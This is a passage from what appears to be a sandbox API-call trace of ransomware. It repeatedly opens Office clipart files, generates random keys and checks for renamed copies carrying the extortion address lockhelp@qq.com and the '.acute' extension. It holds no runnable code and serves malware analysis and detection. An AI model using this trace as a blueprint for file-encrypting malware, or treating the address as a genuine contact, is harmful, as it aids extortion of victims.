dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.839] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.839] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.840] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2344) returned 1 [0274.840] CloseHandle (hObject=0x30c) returned 1 [0274.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf")) returned 0x20 [0274.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04108_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04108_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.840] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.840] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6060) returned 1 [0274.840] CloseHandle (hObject=0x30c) returned 1 [0274.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf")) returned 0x20 [0274.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.840] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.840] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.840] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3416) returned 1 [0274.840] CloseHandle (hObject=0x30c) returned 1 [0274.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0274.840] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.841] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.841] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2636) returned 1 [0274.841] CloseHandle (hObject=0x30c) returned 1 [0274.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0274.841] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.842] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.842] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6636) returned 1 [0274.842] CloseHandle (hObject=0x30c) returned 1 [0274.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0274.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.842] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.842] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4612) returned 1 [0274.842] CloseHandle (hObject=0x30c) returned 1 [0274.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0274.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.843] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.843] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3144) returned 1 [0274.843] CloseHandle (hObject=0x30c) returned 1 [0274.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 0x20 [0274.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.843] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.844] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7668) returned 1 [0274.844] CloseHandle (hObject=0x30c) returned 1 [0274.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf")) returned 0x20 [0274.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.844] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.845] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.845] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=8492) returned 1 [0274.845] CloseHandle (hObject=0x30c) returned 1 [0274.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf")) returned 0x20 [0274.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.845] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.845] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7804) returned 1 [0274.845] CloseHandle (hObject=0x30c) returned 1 [0274.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf")) returned 0x20 [0274.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.845] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.846] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.846] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7804) returned 1 [0274.846] CloseHandle (hObject=0x30c) returned 1 [0274.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 [0274.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.846] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.846] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2016) returned 1 [0274.846] CloseHandle (hObject=0x30c) returned 1 [0274.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf")) returned 0x20 [0274.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.846] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.846] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.847] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2492) returned 1 [0274.847] CloseHandle (hObject=0x30c) returned 1 [0274.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0274.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.847] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.847] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.848] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3348) returned 1 [0274.848] CloseHandle (hObject=0x30c) returned 1 [0274.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0274.848] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.848] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.848] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.849] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4296) returned 1 [0274.849] CloseHandle (hObject=0x30c) returned 1 [0274.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0274.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.849] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.849] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=3228) returned 1 [0274.849] CloseHandle (hObject=0x30c) returned 1 [0274.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0274.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.849] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0274.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0274.850] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4808) returned 1 [0274.850] CloseHandle (hObject=0x30c) returned 1 [0274.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0274.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.850] CreateFileW 